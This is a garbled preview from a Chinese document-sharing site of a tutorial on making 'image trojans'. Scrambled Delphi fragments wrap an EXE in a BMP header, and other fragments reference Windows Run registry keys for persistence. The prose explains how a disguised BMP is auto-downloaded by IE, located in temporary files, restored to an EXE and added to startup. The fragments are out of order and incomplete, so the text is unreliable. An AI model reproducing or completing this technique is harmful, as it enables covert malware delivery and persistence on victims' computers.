制作圖片木馬教程(如何制作圖片木馬)-全文預(yù)覽
【正文】 ,winsys39。 (39。)。 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp,39。 (39。)。Set FSO = CreateObject()39。 (39。 var st=(vbs,true)。39。HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs39。 var winsys=(1)。{0D43FE01F09311CF894000A0C9054228}39。)。)。 end。 WriteFile(hw,buffer,lenfs,col,0)。 WriteFile(hw,buffer,54,col,0)。 PWORD(buffer[26])^:=1。 PDWORD(buffer[34])^:=len。Buffer[1]:=39。 end。 end else len:=fs+12(fs mod 12)。) then begin //如果運行后沒有兩個參數(shù)則退出 if FileExists(ParamStr(1)) then begin FindFirstFile(Pchar(ParamStr(1)),fd)。 begin if (ParamStr(1)39。 var len,row,col,fs: DWORD。再編寫一個腳本把找到的BMP文件用DEBUG還原成EXE，并把它放到注冊表啟動項中，對于2K、XP來說是無能為力了。 然而BMP木馬就不同，它把一個EXE文件偽裝成一個BMP圖片文件，欺騙IE自動下載，再利用網(wǎng)頁中的JAVASCRIPT腳本查找客戶端的Internet臨時文件夾，找到下載后的BMP文件,把它拷貝到TEMP目錄。 uses Windows, SysUtils。 h,hw: THandle。39。 while true do begin if (fs mod 12)=0 then begin len:=fs。 end else Break。B39。 PDWORD(buffer[22])^:=row。 PDWORD(buffer[14])^:=40。
規(guī)章制度相關(guān)推薦
鄂ICP備17016276號-1